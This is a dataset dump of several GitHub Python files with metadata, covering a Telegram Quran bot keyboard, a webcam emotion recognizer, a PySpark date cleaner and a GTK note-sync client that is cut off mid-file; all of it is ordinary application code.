InlineKeyboardButton(text='keyingisi',callback_data=ahzob_callback_data.new(items='next2'))\nahzob_keybord2.insert(back_button)\nahzob_keybord2.insert(next_button)\n\nahzob_keybord3 = InlineKeyboardMarkup(row_width=4)\nbuttons3 = {\n    '33':'33',    '34':'34',\n    '35':'35',    '36':'36',\n    '37':'37',    '38':'38',\n    '39':'39',    '40':'40',\n    '41':'41',    '42':'42',\n    '43':'43',    '44':'44',\n    '45':'45',    '46':'46',\n    '47':'47',    '48':'48'\n}\n\nfor key,value in buttons3.items():\n    tugma = InlineKeyboardButton(text=key,callback_data=ahzob_callback_data.new(items=value))\n    ahzob_keybord3.insert(tugma)\n\nback_button = InlineKeyboardButton(text='ortga',callback_data=ahzob_callback_data.new(items='back3'))\nnext_button = InlineKeyboardButton(text='keyingisi',callback_data=ahzob_callback_data.new(items='next3'))\nahzob_keybord3.insert(back_button)\nahzob_keybord3.insert(next_button)\n\nahzob_keybord4 = InlineKeyboardMarkup(row_width=4)\nbuttons4 = {\n    '49':'49',\n    '50':'50',    '51':'51',\n    '52':'52',    '53':'53',\n    '54':'54',    '55':'55',\n    '56':'56',    '57':'57',\n    '58':'58',    '59':'59',\n    '60':'60',    '61':'61',\n    '62':'62',    '63':'63', '64':'64'\n}\n\nfor key,value in buttons4.items():\n    tugma = InlineKeyboardButton(text=key,callback_data=ahzob_callback_data.new(items=value))\n    ahzob_keybord4.insert(tugma)\n\nback_button = InlineKeyboardButton(text='ortga',callback_data=ahzob_callback_data.new(items='back4'))\nnext_button = InlineKeyboardButton(text='keyingisi',callback_data=ahzob_callback_data.new(items='next4'))\nahzob_keybord4.insert(back_button)\nahzob_keybord4.insert(next_button)\n\nahzob_keybord5 = InlineKeyboardMarkup(row_width=4)\nbuttons5 = {\n    '65':'65',\n    '66':'66',    '67':'67',\n    '68':'68',    '69':'69',\n    '70':'70',    '71':'71',\n    '72':'72',    '73':'73'\n}\n\nfor key,value in buttons5.items():\n    tugma = InlineKeyboardButton(text=key,callback_data=ahzob_callback_data.new(items=value))\n    ahzob_keybord5.insert(tugma)\n\nback_button = InlineKeyboardButton(text='ortga',callback_data=ahzob_callback_data.new(items='back5'))\nahzob_keybord5.insert(back_button)\n\n\nahzob_keybords = {\n    'back6':ahzob_keybord5,\n    'back5':ahzob_keybord4,\n    'back4':ahzob_keybord3,\n    'back3':ahzob_keybord2,\n    'back2':ahzob_keybord1,\n    'next1':ahzob_keybord2,\n    'next2':ahzob_keybord3,\n    'next3':ahzob_keybord4,\n    'next4':ahzob_keybord5\n            }\n", "repo_name": "Sardorxondev1/quran_bot", "sub_path": "keyboards/inline/ahzob_keybord.py", "file_name": "ahzob_keybord.py", "file_ext": "py", "file_size_in_byte": 3866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 4, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 17, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 17, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 17, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 20, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 20, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 20, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 21, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 21, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 21, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 25, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 38, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 38, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 38, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 41, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 41, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 41, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 42, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 42, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 42, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 46, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 59, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 59, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 59, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 62, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 62, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 62, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 63, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 63, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 63, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 67, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 80, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 80, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 80, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 83, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 83, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 83, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 84, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 84, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 84, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 88, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 98, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 98, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 98, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 101, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data.new", "line_number": 101, "usage_type": "call"}, {"api_name": "keyboards.inline.callback_data.ahzob_callback_data", "line_number": 101, "usage_type": "name"}]}
{"seq_id": "17928316784", "text": "import os\r\nimport cv2\r\nimport numpy as np\r\nfrom keras.models import model_from_json\r\nfrom keras.preprocessing import image\r\n\r\n# Trained model added\r\nmodel = model_from_json(open(\"fer.json\",\"r\").read()) \r\n\r\n# Weight values added\r\nmodel.load_weights('faceModel.h5')\r\n\r\nvideo = cv2.VideoCapture(0) # webcam image capture\r\n\r\n# Cascade file used for face detection has been added.\r\nface_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\r\n\r\n# An infinite loop was created to see the incoming image.\r\nwhile(1):\r\n    _,frame = video.read()\r\n\r\n    frame = cv2.flip(frame,1)\r\n\r\n    # the received frame has been converted to gray format\r\n    grayFrame = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY) \r\n    \r\n    faces = face_cascade.detectMultiScale(grayFrame,1.3,3)\r\n\r\n    # Detected faces\r\n    for (x,y,w,h) in faces:\r\n        cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),2)\r\n        roiGray = grayFrame[y:y+h,x:x+w]\r\n        roiGray = cv2.resize(roiGray,(48,48))\r\n        imgPixels = image.img_to_array(roiGray)\r\n        imgPixels = np.expand_dims(imgPixels,axis=0)\r\n        imgPixels /= 255\r\n\r\n        # Estimates are made using the model.\r\n        predictions = model.predict(imgPixels)\r\n        print(predictions)\r\n\r\n        maxIndex = np.argmax(predictions)\r\n\r\n        emotions = ('sinirli' , 'igrenmis' , 'korkmus' , 'mutlu' , 'uzgun' , 'saskin' , 'notr')\r\n        predictedEmotion = emotions[maxIndex]\r\n\r\n        cv2.putText(frame,predictedEmotion,(int(x),int(y)),cv2.FONT_HERSHEY_SIMPLEX,1,(0,0,255),1)\r\n\r\n    resizedImage = cv2.resize(frame,(1000,700))\r\n    cv2.imshow(\"Kamera\",resizedImage)\r\n\r\n\r\n    if cv2.waitKey(10) & 0xFF == ord('q'):\r\n        break\r\n\r\n\r\n\r\nvideo.release()\r\ncv2.destroyAllWindows()\r\n", "repo_name": "ahmetsaglik/realTimeFacialEmotionRecognition", "sub_path": "webcamFaceDetection.py", "file_name": "webcamFaceDetection.py", "file_ext": "py", "file_size_in_byte": 1720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "keras.models.model_from_json", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "28655738196", "text": "# Initialize a simdir\nimport os\nfrom smurf.info import is_simdir, Info\nimport sys\n\n\ndef main():\n    args = parse_command_line_args()\n    path = args.directory\n\n    if is_simdir(path):\n        sys.exit(1)\n\n    init(path)\n\n\ndef init(path):\n    if is_simdir(path):\n        raise ValueError(\n            \"The directory is already a simdir! '{}'\".format(path))\n\n    name = os.path.basename(path)\n    info = Info(path=path, create=True)\n    info.name = name\n    info.save()\n\n\ndef parse_command_line_args():\n    import argparse, argcomplete\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"directory\",\n        nargs=\"?\",\n        default=os.getcwd(),\n        help=\"Directory to initialize simdir in. [default: current directory].\"\n    )\n    argcomplete.autocomplete(parser)\n    args = parser.parse_args()\n    return args\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "rometsch/smurf", "sub_path": "src/smurf/init.py", "file_name": "init.py", "file_ext": "py", "file_size_in_byte": 877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "smurf.info.is_simdir", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 12, "usage_type": "call"}, {"api_name": "smurf.info.is_simdir", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "smurf.info.Info", "line_number": 23, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 34, "usage_type": "call"}, {"api_name": "argcomplete.autocomplete", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "14577340828", "text": "from __future__ import print_function\n\nfrom pyspark import SparkContext\nfrom csv import reader\nimport sys, datetime\n\nif __name__ == \"__main__\":\n\n    sc = SparkContext()\n\n    lines = sc.textFile(sys.argv[1], 1)\n\n    lines = lines.mapPartitions(lambda x: reader(x))\n\n    def check_datatype(x):\n        if x is \"\" or x is \" \":\n            return \"NULL\"\n        else:\n            y = x\n            x = x.split(\"/\")\n            try:\n                year = int(x[2])\n                month = int(x[0])\n                day = int(x[1])\n                try:\n                    newDate = datetime.datetime(year, month, day)\n                    return type(newDate)\n                except:\n                    return type(y)\n            except:\n                return type(y)\n\n\n    def validity(x):\n        if x is \"\" or x is \" \":\n            return False\n        else:\n            x = x.split(\"/\")\n            try:\n                year = int(x[2])\n                month = int(x[0])\n                day = int(x[1])\n                if year >= 2006 and year <= 2015:\n                    try:\n                        newDate = datetime.datetime(year, month, day)\n                        return True\n                    except:\n                        return False\n                else:\n                    return False\n            except:\n                return False\n\n    def clean_invalid_data(header, data):\n        filtered_data = data.filter(lambda x: (x == header) or (validity(x[1])))\n        return filtered_data\n\n    def toCSVLine(data):\n        return ','.join(data)\n\n    header = lines.first()  # extract header\n\n    lines = clean_invalid_data(header, lines)\n    lines = lines.map(toCSVLine)\n    lines.saveAsTextFile(\"crime_clean.out\")\n\n    # header = lines.first()  # extract header\n    #\n    # lines = lines.filter(lambda x: x != header).map(lambda x: (x[0],x[1],check_datatype(x[1]),validity(x[1])))\n    # lines.saveAsTextFile(\"col2.out\")\n    #\n    # validInvalid = lines.map(lambda x: (x[3],1)).reduceByKey(lambda x,y:x+y).collect()\n    #\n    # validInvalid = sc.parallelize(validInvalid)\n    #\n    # validInvalid.saveAsTextFile(\"col2Stats.out\")\n\n    sc.stop()", "repo_name": "pdhandha/BigDataProject", "sub_path": "ColumnCleaning/CMPLNT_FR_DT.py", "file_name": "CMPLNT_FR_DT.py", "file_ext": "py", "file_size_in_byte": 2161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.SparkContext", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "4452003379", "text": "#!/usr/bin/python !/usr/bin/env python\n# -*- coding: utf-8 -*\n\n# !!!!!!!!!  FIRST CONFIGURE SETTINGS.YAML TO MATCH YOUR NEEDS !!!!!!!!!!\n# Simple script to run the Pipeline Wrapper,\n\n\nimport logging\nfrom tasks import taskCoordinator\nfrom config import settings\n\n\n#logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(message)s')\n\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format=\"%(asctime)s - %(message)s\",\n    handlers=[\n        logging.FileHandler(\"%s\" % settings['log_path']),\n        logging.StreamHandler()\n    ])\nTaskManager = taskCoordinator()\nTaskManager.print_pipeline()\n#TaskManager.run()\nTaskManager.run()\nexit(1)\n", "repo_name": "kbogas/medknow", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 35, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.basicConfig", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "config.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.StreamHandler", "line_number": 21, "usage_type": "call"}, {"api_name": "tasks.taskCoordinator", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "74721478332", "text": "from gi.repository import GObject\nimport requests, json\nimport requests.exceptions\nimport threading\nfrom tuhi_gtk.app_logging import get_log_for_prefix_tuple\nfrom tuhi_gtk.database import kv_store, get_current_date, \\\n    note_notonserver_tracker, note_content_notonserver_tracker, \\\n    note_store, note_content_store\nfrom tuhi_gtk.config import SYNCSERVER_NOTES_ENDPOINT, REASON_SYNC, \\\n    SYNC_ACTION_BEGIN, SYNC_ACTION_FAILURE, SYNC_ACTION_SUCCESS, \\\n    SYNC_FAILURE_FATAL, SYNC_FAILURE_CONNECTION, SYNC_FAILURE_AUTHENTICATION, SYNC_FAILURE_FINGERPRINT, SYNC_FAILURE_SSLHANDSHAKE\n\nlog = get_log_for_prefix_tuple((\"sync\",))\n\nclass SyncControl(GObject.Object):\n    __gsignals__ = {\n        \"global_sync_action\": (GObject.SIGNAL_RUN_LAST, GObject.TYPE_NONE, (GObject.TYPE_STRING, GObject.TYPE_STRING,)),\n        # Action names: begin, success, failure\n        # Sync by: user, auto\n        \"sync_action_for_note\": (GObject.SIGNAL_RUN_LAST, GObject.TYPE_NONE, (GObject.TYPE_PYOBJECT, GObject.TYPE_STRING)),\n        # Action names: begin, success, failure\n        \"sync_failure\": (GObject.SIGNAL_RUN_LAST, GObject.TYPE_NONE, (GObject.TYPE_STRING, GObject.TYPE_STRING, GObject.TYPE_PYOBJECT)),\n        # Failure types: fatal, connection, authentication, fingerprint, sslhandshake\n        # Sync by: user, auto\n        # \"Extra information\" field containing any pyobject\n    }\n\n    def __init__(self, global_r):\n        self.global_r = global_r\n        self.global_r.instance_register(self)\n        self.sync_lock = threading.Lock()\n\n    def sync(self, by_who):\n        lock_acquired = self.sync_lock.acquire(blocking=False)\n        if not lock_acquired:\n            log.info(\"Failed to acquire lock for sync.\")\n            return False\n        log.debug(\"Sync started.\")\n        self.by_who = by_who\n        self.emit(\"global_sync_action\", SYNC_ACTION_BEGIN, self.by_who)\n        log.debug(\"Retrieving server connection preferences.\")\n        self.sync_url = kv_store[\"SYNCSERVER_URL\"].rstrip(\"/\") + SYNCSERVER_NOTES_ENDPOINT\n        self.auth = (kv_store[\"SYNCSERVER_USERNAME\"], kv_store[\"SYNCSERVER_PASSWORD\"])\n\n        log.debug(\"Entering logic for pull.\")\n        try:\n            after = kv_store[\"LAST_PULL_DATE\"]\n        except KeyError:\n            after = None\n\n        self.session = requests.Session()\n        pull_thread = threading.Thread(target=self._pull_comm, args=(after,))\n        pull_thread.start()\n\n    def _pull_comm(self, after):  # Runs in separate thread\n        log.debug(\"Executing pull thread.\")\n        if after is None:\n            params = {}\n        else:\n            params = {\"after\": after if isinstance(after, str) else str(after)}\n\n        try:\n            log.debug(\"Connecting to server for GET.\")\n            r = self.session.get(self.sync_url, params=params, auth=self.auth)\n        except requests.exceptions.ConnectionError as e:\n            log.error(\"ConnectionError: %s\", e)\n            e_ = e  # Avoid reference-before-assignment error\n            GObject.idle_add(lambda x: self._handle_pull_connection_error(e_), GObject.PRIORITY_LOW)\n        else:\n            post_pull_comm_gen = self._post_pull_comm(r)\n            GObject.idle_add(lambda x: next(post_pull_comm_gen, False), GObject.PRIORITY_LOW)\n\n    def _handle_pull_connection_error(self, e):\n        self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n        self.emit(\"sync_failure\", SYNC_FAILURE_CONNECTION, self.by_who, (e, self.sync_url))\n        self.sync_lock.release()\n        return False\n\n    def _post_pull_comm(self, r):\n        if r.status_code in (400, 500):  # Bad Request and Server Error\n            log.critical(\"Server responded with HTTP %s\", r.status_code)\n            self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n            self.emit(\"sync_failure\", SYNC_FAILURE_FATAL, self.by_who, \"Server responded with HTTP {}\".format(r.status_code))\n            self.sync_lock.release()\n            return\n\n        if r.status_code == 401:  # Unauthorized\n            log.error(\"Could not pull from server due to an authentication issue. Server responded with HTTP 401.\")\n            self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n            self.emit(\"sync_failure\", SYNC_FAILURE_AUTHENTICATION, self.by_who, None)\n            self.sync_lock.release()\n            return\n\n        try:\n            data = r.json()\n        except ValueError:\n            log.critical(\"Server responded with malformed or missing JSON data on pull.\")\n            self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n            self.emit(\"sync_failure\", SYNC_FAILURE_FATAL, self.by_who, \"Server responded with missing or malformed JSON data on pull.\")\n            self.sync_lock.release()\n            return\n        else:\n            yield from self._merge_change(data[\"notes\"], note_store, note_notonserver_tracker, \"note_added\", \"Note\", \"note_id\")  # py3 # noqa\n            yield from self._merge_change(data[\"note_contents\"], note_content_store, note_content_notonserver_tracker, \"note_content_added\", \"NoteContent\", \"note_content_id\")  # py3 # noqa\n            kv_store[\"LAST_PULL_DATE\"] = get_current_date()\n\n            pre_push_comm_gen = self._pre_push_comm()\n            GObject.idle_add(lambda x: next(pre_push_comm_gen, False), GObject.PRIORITY_LOW)\n\n    def _merge_change(self, serialized_data_blocks, model_store, notonserver_tracker, syncadd_signal_name, instance_name, pk_name):\n        if len(serialized_data_blocks) > 0:\n            log.debug(\"Retrieved %d %s objects from server.\", len(serialized_data_blocks), instance_name)\n            log.debug(\"Merging changes from new %s objects on server.\", instance_name)\n            for serialized_data in serialized_data_blocks:\n                instance = model_store.get(serialized_data)\n                if instance is not None:\n                    # I have a instance that has the same id as the one coming in.\n                    if instance in notonserver_tracker:\n                        # There is a new instance on the server that conflicts with a new note I've made.\n                        # We are talking about different instances. Conflict with server. Must change id of notonserver instance\n                        log.warn(\"UUID conflict detected in pull data for %s, %s. Trying to overcome.\", instance_name, serialized_data[pk_name])\n                        old_id, new_id = model_store.rename_to_new_uuid(instance)\n                        log.debug(\"UUID local rename %s --> %s\", old_id, new_id)\n                        notonserver_tracker.register_rename(old_id, new_id)\n                        log.debug(\"Creating new %s instance for %s\", instance_name, serialized_data[pk_name])\n                        new_instance = model_store.add_new(serialized_data)\n                        self.global_r.emit(syncadd_signal_name, new_instance, REASON_SYNC)\n                        # Otherwise, something is awry with server. Server should not send conflicting instances\n                        # (which are immutable) -- thus, I ignore the change\n                else:\n                    # This is a new instance that I am unaware of.\n                    log.debug(\"Creating new %s instance for %s\", instance_name, serialized_data[pk_name])\n                    new_instance = model_store.add_new(serialized_data)\n                    self.global_r.emit(syncadd_signal_name, new_instance, REASON_SYNC)\n                yield True\n        else:\n            log.info(\"No new %s objects on server.\", instance_name)\n            yield True\n\n    def _pre_push_comm(self):\n        log.debug(\"Entering logic for push.\")\n        notonserver_notes = note_notonserver_tracker.get_all()\n        notonserver_note_contents = note_content_notonserver_tracker.get_all()\n        yield True\n\n        if len(notonserver_notes) > 0 or len(notonserver_note_contents) > 0:\n            log.info(\"There are %d unsynced Note objects.\", len(notonserver_notes))\n            log.info(\"There are %d unsynced NoteContent objects.\", len(notonserver_note_contents))\n            notonserver_notes_dict = {note.note_id: note for note in notonserver_notes}\n            notonserver_note_contents_dict = {note_content.note_content_id: note_content for note_content in notonserver_note_contents}\n            affected_notes_dict = {note_content.note_id: note_content.note for note_content in notonserver_note_contents}\n            affected_notes_dict.update(notonserver_notes_dict)\n            yield True\n\n            for note in affected_notes_dict.values():\n                self.emit(\"sync_action_for_note\", note, SYNC_ACTION_BEGIN)\n            yield True\n\n            data_dict = {\"notes\": [n.serialize() for n in notonserver_notes],\n                         \"note_contents\": [nc.serialize() for nc in notonserver_note_contents]}\n            yield True\n\n            data = json.dumps(data_dict)\n            yield True\n\n            raw_tracker_dicts = (notonserver_notes_dict, notonserver_note_contents_dict, affected_notes_dict)\n            push_thread = threading.Thread(target=self._push_comm, args=(data, raw_tracker_dicts))\n            push_thread.start()\n        else:\n            log.info(\"No unsynced changes to push. Skipping push.\")\n            self.emit(\"global_sync_action\", SYNC_ACTION_SUCCESS, self.by_who)\n            self.sync_lock.release()\n\n    def _push_comm(self, data, raw_tracker_dicts):  # Runs in separate thread\n        log.debug(\"Executing push thread.\")\n        try:\n            log.debug(\"Connecting to server for POST.\")\n            r = self.session.post(self.sync_url, data, auth=self.auth)\n        except requests.exceptions.ConnectionError as e:\n            # TODO: Actual error handling logic for service unavailable, wrong network, etc.\n            log.error(\"ConnectionError: %s\", e)\n            e_ = e  # Avoid reference-before-assignment error\n            GObject.idle_add(lambda x: self._handle_push_connection_error(raw_tracker_dicts, e_), GObject.PRIORITY_LOW)\n            return\n        else:\n            post_push_comm_gen = self._post_push_comm(r, raw_tracker_dicts)\n            GObject.idle_add(lambda x: next(post_push_comm_gen, False), GObject.PRIORITY_LOW)\n\n    def _handle_push_connection_error(self, raw_tracker_dicts, e):\n        _, _, affected_notes_dict = raw_tracker_dicts\n        for note in affected_notes_dict.values():\n            self.emit(\"sync_action_for_note\", note, SYNC_ACTION_FAILURE)\n        self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n        self.emit(\"sync_failure\", SYNC_FAILURE_CONNECTION, self.by_who, (e, self.sync_url))\n        self.sync_lock.release()\n        return False\n\n    def _post_push_comm(self, r, raw_tracker_dicts):\n        notes_tracking_dict, note_contents_tracking_dict, affected_notes_dict = raw_tracker_dicts\n        yield True\n\n        if r.status_code in (400, 500):  # Bad Request and Server Error\n            log.critical(\"Server responded with HTTP %s\", r.status_code)\n            for note in affected_notes_dict.values():\n                self.emit(\"sync_action_for_note\", note, SYNC_ACTION_FAILURE)\n            self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n            self.emit(\"sync_failure\", SYNC_FAILURE_FATAL, self.by_who, \"Server responded with HTTP {}\".format(r.status_code))\n            self.sync_lock.release()\n            return\n\n        if r.status_code == 401:  # Unauthorized\n            log.error(\"Server rejected push due to an authentication issue. Server responded with HTTP 401.\")\n            for note in affected_notes_dict.values():\n                self.emit(\"sync_action_for_note\", note, SYNC_ACTION_FAILURE)\n            self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n            self.emit(\"sync_failure\", SYNC_FAILURE_AUTHENTICATION, self.by_who, None)\n            self.sync_lock.release()\n            return\n\n        if r.status_code == 200:\n            log.info(\"Server accepted push for all unsynced Notes and Note Contents\")\n            for note in affected_notes_dict.values():\n                self.emit(\"sync_action_for_note\", note, SYNC_ACTION_SUCCESS)\n            self.emit(\"global_sync_action\", SYNC_ACTION_SUCCESS, self.by_who)\n            note_notonserver_tracker.discard_successes(notes_tracking_dict.keys())\n            note_content_notonserver_tracker.discard_successes(note_contents_tracking_dict.keys())\n            self.sync_lock.release()\n            return\n\n        if r.status_code == 202:\n            try:\n                response = r.json()\n                notes_in_response = response[\"notes\"]\n                note_contents_in_response = response[\"note_contents\"]\n            except (KeyError, ValueError):\n                log.critical(\"Server responded with malformed or missing JSON data on push.\")\n                for note in affected_notes_dict.values():\n                    self.emit(\"sync_action_for_note\", note, SYNC_ACTION_FAILURE)\n                self.emit(\"global_sync_action\", SYNC_ACTION_FAILURE, self.by_who)\n                self.emit(\"sync_failure\", SYNC_FAILURE_FATAL, self.by_who, \"Server responded with missing or malformed JSON data on push.\")\n                self.sync_lock.release()\n                return\n            else:\n                unknown_error_count = 0\n\n                for note_res in notes_in_response:\n                    note_id = note_res[\"note_id\"]\n                    note = notes_tracking_dict[note_id]\n                    log.warn(\"Server rejected push of Note: %s. Further processing underway.\", note_id)\n                    del notes_tracking_dict[note_id]\n                    del affected_notes_dict[note_id]\n                    self.emit(\"sync_action_for_note\", note, SYNC_ACTION_FAILURE)\n\n                    if \"note_id_errors\" in note_res:\n                        if note_res[\"note_id_errors\"] == 90:  # Forbidden\n                            log.warn(\"Server returned Forbidden for unsynced Note: %s. Most likely a UUID conflict. Attempting resolution.\", note_id)\n                            old_id, new_id = note_store.rename_to_new_uuid(note)\n                            log.debug(\"UUID local rename %s --> %s\", old_id, new_id)\n                            note_notonserver_tracker.register_rename(old_id, new_id)\n                        elif note_res[\"note_id_errors\"] == 19:  # Conflict\n                            # TODO: decide if we want UUID conflict resolution logic here\n                            pass\n                        else:\n                            unknown_error_count += 1\n\n                for note_content_res in note_contents_in_response:\n                    note_content_id = note_content_res[\"note_content_id\"]\n                    note_content = note_contents_tracking_dict[note_content_id]\n                    log.warn(\"Server rejected push of Note Content: %s. Further processing underway.\", note_content_id)\n                    del note_contents_tracking_dict[note_content_id]\n                    del affected_notes_dict[note_content.note_id]\n                    self.emit(\"sync_action_for_note\", note_content.note, SYNC_ACTION_FAILURE)\n\n                    if \"note_content_id_errors\" in note_content_res:\n                        if note_content_res[\"note_content_id_errors\"] == 90:  # Forbidden\n                            log.warn(\"Server returned Forbidden for unsynced Note Content: %s. Most likely a UUID conflict. Attempting resolution.\", note_content_id)\n                            old_id, new_id = note_content_store.rename_to_new_uuid(note_content)\n                            log.debug(\"UUID local rename %s --> %s\", old_id, new_id)\n                            note_content_notonserver_tracker.register_rename(old_id, new_id)\n                        elif note_content_res[\"note_content_id_errors\"] == 19:  # Conflict\n                            # TODO: decide if we want UUID conflict resolution logic here\n                            pass\n                        else:\n                            unknown_error_count += 1\n\n                for note in affected_notes_dict.values():\n                    self.emit(\"sync_action_for_note\", note, SYNC_ACTION_SUCCESS)\n                note_notonserver_tracker.discard_successes(notes_tracking_dict.keys())\n                